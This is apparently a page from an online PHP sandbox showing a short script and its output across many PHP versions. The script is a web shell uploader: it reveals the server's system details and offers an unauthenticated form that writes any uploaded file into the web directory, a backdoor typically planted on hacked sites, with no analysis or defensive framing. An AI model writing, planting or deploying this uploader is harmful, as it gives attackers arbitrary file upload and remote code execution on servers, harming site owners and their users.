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<?php echo '<b><br><br>'.php_uname().'<br></b>'; echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Fix ID</b><br><br>'; } else { echo '<b>Muat Naik Tidak Berjaya</b><br><br>'; } } ?>
Output for 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
<b><br><br>Linux php_shell 4.8.6-1-ARCH #1 SMP PREEMPT Mon Oct 31 18:51:30 CET 2016 x86_64<br></b><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form> Warning: Undefined array key "_upl" in /in/D8INQ on line 5
Output for 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.40, 7.0.0 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.34, 7.3.0 - 7.3.31, 7.4.0 - 7.4.33
<b><br><br>Linux php_shell 4.8.6-1-ARCH #1 SMP PREEMPT Mon Oct 31 18:51:30 CET 2016 x86_64<br></b><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form> Notice: Undefined index: _upl in /in/D8INQ on line 5
Output for 7.3.32 - 7.3.33
<b><br><br>Linux php_shell 4.8.6-1-ARCH #1 SMP PREEMPT Mon Oct 31 18:51:30 CET 2016 x86_64<br></b><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>

preferences:
261.21 ms | 402 KiB | 414 Q